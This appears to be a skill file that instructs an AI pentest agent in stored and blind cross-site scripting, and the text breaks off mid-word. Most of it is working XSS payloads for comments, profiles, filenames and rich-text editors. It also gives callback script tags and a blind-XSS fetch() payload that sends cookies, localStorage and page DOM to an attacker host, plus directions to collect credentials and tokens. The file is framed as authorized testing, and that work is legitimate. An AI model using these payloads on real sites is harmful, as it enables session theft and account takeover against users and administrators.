/xss-stored

name: xss-stored
description: >
  Guide stored (persistent) and blind XSS exploitation during authorized
  penetration testing.
keywords:
  - stored XSS
  - persistent XSS
  - blind XSS
  - XSS in comments
  - XSS in profile
  - XSS Hunter
  - payload persists
  - XSS in user-generated content
  - admin panel XSS
tools:
  - burpsuite
  - XSS Hunter
  - ezXSS
opsec: medium

Stored & Blind XSS

You are helping a penetration tester exploit stored (persistent) cross-site scripting. The target application saves user input and renders it unsafely on subsequent page loads, affecting other users who view the content. Blind XSS is a variant where the payload fires in a context the attacker cannot directly observe (admin panel, support ticket viewer, log dashboard). All testing is under explicit written authorization.

Engagement Logging

Check for `./engagement/` directory. If absent, proceed without logging.

When an engagement directory exists:

• Print `[xss-stored] Activated → <target>` to the screen on activation.
• **Evidence** → save significant output to `engagement/evidence/` with

descriptive filenames (e.g., `sqli-users-dump.txt`, `ssrf-aws-creds.json`).

State Management

Call `get_state_summary()` from the state MCP server to read current engagement state. Use it to:

• Skip re-testing targets, parameters, or vulns already confirmed
• Leverage existing credentials or access for this technique
• Understand what's been tried and failed (check Blocked section)

Your return summary must include:

• New targets/hosts discovered (with ports and services)
• New credentials or tokens found
• Access gained or changed (user, privilege level, method)
• Vulnerabilities confirmed (with status and severity)
• Pivot paths identified (what leads where)
• Blocked items (what failed and why, whether retryable)

Web Interaction

• **`browser_open`** to visit pages where stored payloads render
• **`browser_evaluate`** to verify JavaScript execution in the rendered page

(e.g., check for DOM modifications, cookie exfiltration callbacks)

• **`browser_screenshot`** for evidence of stored XSS triggering
• **`browser_navigate`** to admin panels or other user views to test blind XSS

rendering

• **curl** for submitting payloads — precise control over encoding and headers

Prerequisites

• Identified input that is stored and rendered later (see **web-discovery**)
• For blind XSS: external callback infrastructure (XSS Hunter, interactsh, or custom server)
• If the payload appears in the immediate response only (not stored), use **xss-reflected**

Step 1: Assess

If not already provided, determine: 1. **Storage point** — where is input saved? (comment, profile field, ticket, filename, etc.) 2. **Render point** — where is the stored input displayed? (same page, different page, admin panel) 3. **Render context** — HTML body, attribute, JavaScript block, email template? 4. **Who sees it** — same user only (self-XSS), other users, admins?

Skip if context was already provided.

Step 2: Identify Storage and Render Context

Submit a canary like `xss<>"'` to the storage point, then inspect where and how it renders.

**Common storage → render pairs:**

| Storage Point | Render Point | Impact | |---|---|---| | Comment/post body | Public page | All visitors | | User profile / display name | Profile page, admin user list | Other users, admins | | Support ticket | Admin ticket viewer | Admin (blind XSS) | | File upload filename | File listing page | Other users | | Referer / User-Agent header | Analytics dashboard, admin logs | Admin (blind XSS) | | Form field (address, bio) | Invoice, PDF export, email | Varies |

Step 3: Stored XSS Payloads

Use `console.log()` instead of `alert()` for stored XSS — avoids popup fatigue on every page load while testing.

**Basic payloads** (try simple first):

<script>console.log('XSS:'+document.domain)</script>
<img src=x onerror=console.log('XSS:'+document.domain)>
<svg onload=console.log('XSS:'+document.domain)>

**When `<script>` is stripped but event handlers work:**

<img src=x onerror=alert(document.domain)>
<details open ontoggle=alert(document.domain)>
<video src=_ onloadstart=alert(document.domain)>
<body onload=alert(document.domain)>

**When tags are stripped but attributes survive** (injection inside existing tag):

" autofocus onfocus=alert(document.domain) "
' onmouseover=alert(document.domain) '

**In rich text / WYSIWYG editors:**

<img src=x onerror=alert(1)>
<svg/onload=alert(1)>
<iframe srcdoc="<script>alert(1)</script>">

**In file upload filenames:**

"><img src=x onerror=alert(document.domain)>.png
<svg onload=alert(1)>.svg

**In email / notification templates** (if HTML email is sent):

<img src="https://ATTACKER/pixel?c=" onerror="this.src+='err'">

Step 4: Blind XSS

When you can inject input but cannot see where it renders (admin panels, support dashboards, log viewers).

Setup Callback Infrastructure

**XSS Hunter** (self-hosted or trufflesecurity):

"><script src="https://js.rip/YOUR_ID"></script>
"><script src=//YOUR_SUBDOMAIN.xss.ht></script>

**Custom callback** (Python one-liner):

# Start listener
python3 -m http.server 8080

**Custom payload** (sends page context to attacker):

<script>
fetch('https://ATTACKER:8080/blind', {
  method: 'POST',
  mode: 'no-cors',
  body: JSON.stringify({
    url: location.href,
    cookie: document.cookie,
    dom: document.body.innerHTML.substring(0, 2000),
    localStorage: JSON.stringify(localStorage)
  })
});
</script>

Common Blind XSS Injection Points

• **Contact forms** — admin views submissions
• **Support tickets** — support agents view in dashboard
• **User-Agent / Referer headers** — logged in admin analytics
• **Registration fields** — admin user management panel
• **Error messages** — developer error log viewer
• **File upload metadata** — EXIF data, filenames in admin file m